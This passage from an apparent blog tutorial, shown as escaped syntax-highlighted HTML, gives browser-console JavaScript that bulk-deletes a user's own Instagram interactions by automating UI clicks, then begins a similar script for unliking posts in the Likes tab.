&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="s1"&gt;'div[data-bloks-name="ig.components.Icon"][style*="circle__outline"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;getSelectableIcons&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icons&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollIntoView&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;behavior&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"smooth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;block&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"center"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'[role="button"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ICON_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s1"&gt;'span[data-bloks-name="bk.components.TextSpan"]'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;span&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Delete"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteText&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'div[style*="pointer-events: auto"]'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;SELECT_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findBloksDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Bloks Delete button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;realClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deleteBtn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"button"&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nx"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DELETE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;findModalDeleteButton&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ne"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Confirmation button not found."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;modalDeleteBtn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;activateSelectMode&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;selectItems&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"No more interactions to delete."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;clickBloksDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;confirmFinalDelete&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`Cycle &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;deletedCount&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt; items deleted.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;cycle&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Operation stopped:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-unlike-script-for-likes"&gt;🖤 2. Unlike Script for Likes&lt;a class="headerlink" href="#2-unlike-script-for-likes" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to collectively unlike posts you've liked, the button naming structure changes. During my tests, I noticed the button names needed to be updated to "Unlike." You can use this code in the Likes tab:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/**&lt;/span&gt;
&lt;span class="cm"&gt; * Instagram Bulk Unlike Script&lt;/span&gt;
&lt;span class="cm"&gt; * For the Likes tab only.&lt;/span&gt;
&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;instagramBulkUnlike&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__STOP_IG_BULK_DELETE__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MAX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CYCLE_DELAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
